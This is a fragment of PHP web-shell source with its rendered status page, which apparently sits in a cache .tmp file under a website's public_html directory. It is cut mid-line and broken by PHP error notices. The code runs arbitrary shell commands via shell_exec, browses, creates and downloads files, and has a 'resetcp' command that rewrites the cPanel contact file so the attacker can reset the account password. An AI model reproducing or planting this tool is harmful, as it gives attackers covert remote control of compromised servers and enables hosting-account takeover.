addEmptyDir($localname); $this->_addTree($dirname, $localname); } // Internal function, to recurse protected function _addTree($dirname, $localname) { $dir = opendir($dirname); while ($filename = readdir($dir)) { // Discard . and .. if ($filename == '.' || $filename == '..') continue; // Proceed according to type $path = $dirname . DIRECTORY_SEPARATOR . $filename; $localpath = $localname ? ($localname . DIRECTORY_SEPARATOR . $filename) : $filename; if (is_dir($path)) { // Directory: add & recurse $this->addEmptyDir($localpath); $this->_addTree($path, $localpath); } else if (is_file($path)) { // File: just add $this->addFile($path, $localpath); } } closedir($dir); } // Helper function public static function zipTree($dirname, $zipFilename, $flags = 0, $localname = '') { $zip = new self(); $zip->open($zipFilename, $flags); $zip->addTree($dirname, $localname); $zip->close(); } } ExtendedZip::zipTree($source, $destination, ZipArchive::CREATE); } if (isset($_GET['action']) && $_GET['action'] == 'download') { @ob_clean(); $item = $path . DIRECTORY_SEPARATOR . $_GET['item']; if (is_file($item)) { header('Content-Type: text/plain'); } else if (is_dir($item)) { $new_item = $path . DIRECTORY_SEPARATOR . 'compressed_folder_' . basename($item) . '.zip'; try { Zip($item, $new_item); $item = $new_item; header('Content-type: application/zip'); } catch (Exception $e) { flash($e->getMessage(), "Failed", "error", "?dir=$path"); } } if (is_file($item)) { header('Content-Description: File Transfer'); header('Content-Disposition: attachment; filename="' . basename($item) . '"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($item)); readfile($item); if(isset($new_item) && is_file($new_item)){ unlink($new_item); } exit; } } function flash($message, $status, $class, $redirect = false) { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } $_SESSION["message"] = $message; $_SESSION["class"] = $class; $_SESSION["status"] = $status; if ($redirect) { header('Location: ' . $redirect); exit(); } return true; } function clear() { if (!empty($_SESSION["message"])) { unset($_SESSION["message"]); } if (!empty($_SESSION["class"])) { unset($_SESSION["class"]); } if (!empty($_SESSION["status"])) { unset($_SESSION["status"]); } return true; } function writable($path, $perms) { return (!is_writable($path)) ? "" . $perms . "" : "" . $perms . ""; } function perms($path) { $perms = fileperms($path); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fsize($file) { $a = ["B", "KB", "MB", "GB", "TB", "PB"]; $pos = 0; $size = filesize($file); while ($size >= 1024) { $size /= 1024; $pos++; } return round($size, 2) . " " . $a[$pos]; } // CMD function cmd($command) { global $path; if (strpos($command, 'resetcp') !== false) { $email = explode(' ', $command); if (!$email[1] || !filter_var($email[1], FILTER_VALIDATE_EMAIL)) { return "You must specified valid email address. resetcp youremail@example.com"; } $pathcp = explode("/", $path); $text = "---\n\"email\":'$email[1]'"; $file = join('/', [$pathcp[0], $pathcp[1], $pathcp[2]]); $file = $file . '/.cpanel/'; if (file_exists($file . 'contactinfo')) { unlink($file . 'contactinfo'); } file_put_contents($file . 'reset', $text); if (file_exists($file . 'reset')) { rename($file . 'reset', $file . 'contactinfo'); return "Email for reset cpanel changed to '$email[1]'"; } return "Failed to change reset cp email!"; } elseif (function_exists('shell_exec')) { return shell_exec($command . ' 2>&1'); } else { return "Disable Function"; } } function which($p) { $path = cmd('which ' . $p); if (!empty($path)) { return strlen($path); } return false; } function formatSize($bytes) { $types = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $bytes >= 1024 && $i < (count($types) - 1); $bytes /= 1024, $i++) ; return (round($bytes, 2) . " " . $types[$i]); } function getOwner($item) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($item)); $downer = $downer['name']; } else { $downer = fileowner($item); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($item)); $dgrp = $dgrp['name']; } else { $dgrp = filegroup($item); } return $downer . '/' . $dgrp; } if (isset($_POST['newFolderName'])) { if (mkdir($path . '/' . $_POST['newFolderName'])) { flash("Create Folder Successfully!", "Success", "success", "?dir=$path"); } else { flash("Create Folder Failed", "Failed", "error", "?dir=$path"); } } if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) { i ceholder="home">
| Operating System | : | Notice: Undefined variable: uname in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 307 |
| User / Group | : | Notice: Undefined variable: uid in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 312 [ Notice: Undefined variable: user in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 312 ] / Notice: Undefined variable: gid in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 312 [ Notice: Undefined variable: group in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 312 ] |
| PHP Version | : | 5.6.40 |
| IP Server | : | Notice: Undefined variable: ip in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 322 |
| Your IP | : | Notice: Undefined variable: uip in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 327 |
| Storage | : | Total = Fatal error: Call to undefined function formatSize() in /home/c43ut3hs/public_html/pdf/cache_ff843dcd90d249cc19ca93a1eb297899.tmp on line 332 |